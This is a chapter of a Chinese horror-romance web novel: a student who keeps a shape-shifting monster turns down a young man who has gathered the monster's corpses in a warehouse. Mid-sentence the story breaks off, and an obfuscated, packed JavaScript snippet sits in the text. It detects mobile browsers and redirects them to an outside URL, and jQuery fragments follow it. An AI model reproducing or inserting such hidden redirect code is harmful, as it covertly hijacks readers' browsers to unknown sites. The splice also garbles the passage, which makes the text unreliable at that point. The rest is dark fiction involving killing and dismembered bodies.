在走廊上低头看手机走路的时候,背后传来被凝视的窥伺感。来自他人的视线,和家里某只怪物的能力相比,技巧拙劣得有些可笑。
林溪谣转过头,管理员太太年轻得不像她八十高龄的脸放在面前。即使可能有医美的加持,她的皮肤依旧因为人类达到了生命接近晚期的时段而松弛得过分,尤其脖间和双手的皮肤,干枯得像老树皮。
她白得浑浊的眼盯着林溪谣的手机屏幕,紧紧眯起,仿佛克服老花眼的阻拦,窥探到这近来行为变得异常的中国留学生的秘密。
“你这丫头,是不是最近和外面不三不四的人学坏了?我们公寓的合同上写了不可以吸大.麻,糖果也不行。小心我把你赶出去。”
“怎么会呢女士,在我的国家,每一个接受过教育的人都知道这种东西是违禁品。您觉得我像那样的人吗?”
林溪谣学着某人的样子,眨巴眨巴眼——这种动作来源于她童年看的言情小说的记忆中,在现实生活中做出来,只会被人觉得是神经病。
她以前也抱着这种看法,但在放纵自己做坏事时,这种夸张、神经质的动作最能诠释她的心情。
以后不要怪小说里的主角行为抓马化了!
“哼。”管理员老太太从鼻腔里挤出不屑,她一直都这么难相处。因为难以相处,总是给人以说不定她是个另有隐情的好人的错觉。
“上次我还没说你,那个小孩你弄到哪里去了?”
“那不是小孩,是一颗头。”林溪谣诚实地回答。
“?”
管理太太比着林溪谣的脑袋,在心里大致比划了一下,姑且相信了她的说法。
“我听说你们国家的人最迷信,生了女婴就要溺死。还以为你是把小孩待回公寓溺死的。”她突然像一只不可爱的恐怖老猫,佝偻着身体逼近林溪谣,在她耳边极为清晰地说话。
“我和你说,这个世界上是有鬼的。小孩子最容易变成恐怖的玩意,你最好小心一点。子宫是你的器官,不是你随意和男人制造、杀死生命的工具。”
看似和她在说话,似乎又在和不可触及的远方的某个人说话。
出乎老太太意料的是,留学生女孩淡定地看着她:“没关系。我喜欢没有生.育能力的男人。”
“……”老太太哑口无言,目送她潇洒走出大门。
林溪谣走出公寓,还是觉得好笑,忍不住给江煜发消息。
【事实上,“红颜祸水”这个词应该是专门为你发明的,不能用它去伤害那些为历史背锅的人。江煜,你才是真正的红颜祸水。你一出现,什么隐藏的神经病都被你炸出来了。】
留守在屋子里的江煜似乎在守着手机,秒回:
【你说得对。】
【但是我给你添了这么多麻烦,你也不打算甩开我,对么?】
【这么迷人,真是抱歉。】
已经可以想象得到他在那背后得意、嚣张的表情,林溪谣熄灭手机。她对他产生了一点分享欲,她变得能够接纳他,但也只有一点点而已。
他们之间的亲密止步于接吻。有时候,她可以反客为主,从江煜那“偷走”一点点东西,比如某个人的记忆。但不能太多,否则她会因为大脑承受不住,而爆炸。
管理员太太始终固执地认为那颗头颅是婴儿,是由于她习惯将自己的认知强加到他人身上,变得偏执而不自知。
事实上,子宫是女人的器官,女人拥有它,忍受它时而带来的疼痛,它则回报以女人排毒延寿的好处。
愚蠢的女人被卑鄙的男人骗去子宫,幸运的女人和爱人使用子宫,心狠走极端的女人利用子宫。大概是管理员太太见到了某个人的影子,于是固执地认为她抱着的一定是婴儿?
说不定这个世界上生活的每个人都是怪胎。林溪谣乐得咧开嘴,笑给自己看。
自哀自怨的无助青春期俨然过去,她建立起了驯养一只怪物的自信和自觉。
一个独当一面的成年人,有什么不敢面对的呢?于是,才熄灭的手机被唤醒,Asher那收到一条她现在发过去的消息。
【下次别发血腥图片,正吃饭呢,看了倒胃口。】
那边不知道在什么,过了一会儿,Asher才回消息。
【城郊花滑馆附近的仓库。林,我等着你。】
林溪谣在心里嗤笑:一个胆小鬼。只敢在自己的地盘挑战危险。
他不知道,他们已经生活在被怪物掌控的世界中了。街道上应景地出现一辆稀罕的豪华跑车,引擎的轰鸣声划过,它停下,臭屁地对着低头玩手机的林溪谣按响喇叭。
“滴。”
“?”
骚包款江煜带着一副黑框圆墨镜,全身黑的潮男系打扮,黑发上夹着红色发卡,细看右耳还有一颗钛制的耳钉。
少年将手从方向盘上移开,搭在左边的车门上:“上车。”
这只不是她的江煜。
林溪谣有警惕,有说不清的嫌弃。
一模一样的脸,气质却格外不同的江煜很受伤:“为什么不上车,我特意来接你去那个地方。”
语气带了委屈,都怪主体和他们切断了联系,要想得到林溪谣的情报,需要靠自己一个人在巨大的人类世界探索。
幸好他聪明,比其他的肉块都要聪明。吞吃了一只受欢迎的人类,将自己打扮成了很多年轻女孩们最喜欢的美少年的模样。
效果显然超出预期,像是不忍心看到他受委屈,至少骚包江煜是这样认为的,林溪谣她应该只是害羞了一会儿。
最后还不是坐上副驾驶,自己系好安全带了?
【你是我的。】
【我会带给你如同乙女游戏来到现实的幸福人生。】
骚包江煜在心中默念,他立马踩下引擎,炫技般把车开得飞快。
-
另一边的环境则显得格外阴沉与冷清。
Asher缠着一圈纱布,在仓库里等着林溪谣的到来。他新长出一截胡渣,淡淡的一茬青色,像是在彰显告诉世人,尽管面容再青涩,他也是一个正值壮年的男人。
发育正常的普通男人,和其他男人没有什么不同。
Asher想了很久,想到似乎在短短一夜,就想通决定了自己未来十多年的人生。
对于林溪谣试图袭击他的事情,他不会计较。额头是挂了彩没错,他家人认识很不错的整形医生,不会因此留疤。不会影响到他未来的事业。
因此他没有生气的必要。人应该要把精力放在更有意义的事情上;何况打他的也不是林溪谣,而是一只怪物。
他没从见过那么恶心的肉团,甚至散发着清幽的香味。让他想起内心深层尘封的恐惧。
那些男人压在他身上时,他们那些可怕的眼神,总会让他恐惧,害怕自己最后会不会被这些禽兽一般的食.人魔吃掉。
他们本质上和吃人的怪物没有什么不同。
这个世界上既然有人类怪物,那有非人怪物,也不算很奇怪。
每每想到这一点,Asher灰色的心脏就会变得柔软,像一只皮毛灰色的纯洁天鹅。
原来她是个被怪物缠上的可怜人......和他似乎也挺相配的。
他把对自己的怜惜,分享了一部分给她。
仓库里堆满江煜的尸体,精致白人少年坐在一张椅子上,如同尸骨上胜利的王者。那些尸体,有的保存得尚且完整,有的缺胳膊少腿,有的是一团肉块,有的只有几根手指,或者只有一颗眼球。
这些透露着诡异的美丽的收藏品,要么是他通过关系网,从警局要来的,要么是从其他人那里买或威胁骗来的。他至始至终没捡到过江煜的器官。
作为男人,Asher的世界很少接触到血腥、分泌下来的人体组织。
他很害怕、很恐惧。
很想见到会和他共沉沦的那个女孩。
催促的文字发出去又被删掉。
Asher怪自己和尸体待得太久,他似乎听到了尸体和残肢们会说话的幻觉。它们和他一样,都在偏执地呼喊着林溪谣的名字,精力非人的旺盛,一整天、一整夜叫个不停。
这导致他数次删掉催促林溪谣赶过来的文字。就是为了不让它们如愿。
仓库外响起汽车引擎的轰鸣声,不久,又是启动的声音。
很好,不愧是他认定的女性,她是一个人来的。
仓库门从内部上锁,在林溪谣敲门之前,他从内部打开——邀请她一同欣赏满地的尸山骸骨。
而她的反应也让他心生更汹涌激烈的好感。她只是皱了皱
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15442301|165701||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
眉头,“你是不是很闲?没事的话,可以帮我把小组展示的ppt做了,没必要把这些臭烘烘的尸体搬到这个鸟不拉屎的鬼地方来。”
“林!我可以保护你!又精致又粗糙的少年,激动之情溢于言表,“这些、这些,”他用手指清点着数量,“它们都是我亲手杀死、斩碎的,我真心想要亲近你......”
“我愿意从纠缠你的怪物手下保护你。”
好一副浪漫场景,林溪谣很给面子地真心感动了半秒钟,随后颇为冷漠无情地拒绝了Asher的告白。
“你难道不知道,我现在在饲养这些东西吗?我是它们的主人,哪有你把我的物品弄坏,还找主人邀功的道理?”
江煜这只怪物的存在像恶性的催化剂,Asher也在杀死他的过程中不断成长。听见林溪谣的话,并没有被她打击到,而是更为执着地坚定自己的想法。
他义正言辞,淡色的蓝眼睛像漂亮的玻璃珠,架势正义得像童话故事里的小王子,“你知道吗,林?人是一种很奇妙的生物。总是会被和自己气场相近的人吸引。”
小王子露出歉意,“很抱歉以前对你做的事。那时我以为自己确实是黄热病,直到今天,我终于明白,我不是喜欢黄热病,只是单纯喜欢你而已。”
“你是我喜欢的第一个人类,在这个世界上第一个动心的人。我将永远把你放在和我平等的地位上看待,像珍视自己一样珍视你,像爱自己一样爱你——”
“嘶。”
林溪谣酸得抽了一口凉气,她实在忍不住,实在忍不住了!放身弯腰,像个疯子一样哈哈大笑。
她笑得话都说得含糊不清:“...我们两个......真的好像演猎奇言情片的神经病,哪有人会在这种地方表白的,”笑着笑着,话题又回到正经,“我不相信你。”
“我才不管你在成长中受到过什么样的创伤。你是一个生理性别为男,按照男人的方式教养长大,会分泌许多雄性激素的男人,说出来的话有可信的程度吗?”
“.......”Asher内心对亵.玩过他的男人极度厌恶,无法反驳她说的话。
像个男人,他不愿意承认自己错了。还是试图辩解:“你也不像一个完全的女人。你知道吗?女性主义里有一种雌雄同体的说法,我们都是雌雄同体的人.......”
“正因为我们都是人类,所以永远不要互相考验对方。”林溪谣一针见血拆穿他的诡辩。即使披上多少层伪装,他仍旧是个不折不扣的男人,所以才会习惯性首先使用操纵流言的方式,迅速地行动。
就连杀死这件事江煜,他都比她接受和行动得要快。
“你凭什么觉得自己能比纠缠我的这只怪物强?”
语言是利剑。她最后一击,Asher猛地睁大眼睛,恐惧凝固成浅蓝色海面上的乌云,倒映在他的眼眸——他看见江煜。
许多的江煜。他们脚下的江煜。
美丽的江煜。他的头颅,他的眼球,他的手指,他的躯干,他的碎片...似乎都凭空长出一双眼睛。
它们在看他。
无数双眼睛在看他。
在灰暗的天花板,在够不着的窗户,在射进来的阳光里,在灰尘里,在脚下踩着的地面,在他背后,他在呼吸的空气里。
无时无刻。他无时无刻不在被这些东西注视。
“啊!!!”
Asher发出悲鸣似的惨叫。抱着脑袋在地上自言自语,“滚开滚开滚开别看我别看我。”
没劲。
林溪谣勾勾手指,假国王收敛的宝藏们活了过来,它们移动,重叠,融合在一起。
变成一个完整的人形。
“溪谣~你来接我了~好开心。”
又是一只新的江煜。在她生活中永远阴魂不散的江煜。
世界上哪有那么多可怜人!大多数人只是在假装不幸,为了掩盖自己的懦弱和自怨自艾而已。她现在不就活得挺自在的吗?
“再见了,Asher~”
女孩摆摆手,潇洒地带走恶龙的藏品。
活过来的江煜,将自己眷恋地蜷缩进带有她体温的外套中,留着这个丑八怪人类一记得意的眼神。
她是我的。
你这个丑八怪。